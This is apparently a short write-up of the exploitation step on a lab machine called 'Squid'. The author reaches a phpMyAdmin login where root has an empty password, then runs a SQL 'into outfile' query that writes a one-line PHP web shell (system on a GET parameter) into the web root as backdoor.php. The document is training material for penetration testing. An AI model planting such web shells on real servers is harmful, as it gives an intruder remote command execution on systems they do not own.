> For the complete documentation index, see [llms.txt](https://lyethar.gitbook.io/squid/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://lyethar.gitbook.io/squid/exploitation.md).

# Exploitation

After bypassing the proxy we gained access to a phpMyAdmin page with a empy password for the user root. 

![](https://3120179353-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FGCVlbbrFxN38nZXPDpwf%2Fuploads%2FqdQLg1kSATfiVvyg5llY%2F2022-07-28_00-14.png?alt=media\&token=26527850-0c41-46fd-9cb7-d4a8f2aaf526)

The page provided us with the perfect combination of things, phpmyinfo which would give us the directory names and locations in case we need to write into those files and a phpmyadmin that we can access. 

{% embed url="<https://www.hackingarticles.in/shell-uploading-web-server-phpmyadmin/>" %}

This guide allowed me to get a shell on phpmyadmin.&#x20;

So we basically create a new table and we run a sql query like this one.&#x20;

```
SELECT "<?php system($_GET['cmd']); ?>" into outfile "C:/wamp/www/backdoor.php" 
```

The reason I chose that directory as I stated before was because I was able to see directory that the webserver was being hosted at. Alsoooo now i think I understand why the SQLi in Medjed worked the way it did because i see what the sqlquery in this case is doing as well.&#x20;

![](https://3120179353-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FGCVlbbrFxN38nZXPDpwf%2Fuploads%2FWOnatzRRyhoyt209n4LQ%2F2022-07-28_00-36.png?alt=media\&token=510461cc-fead-46f0-93ce-062561ed0f2e)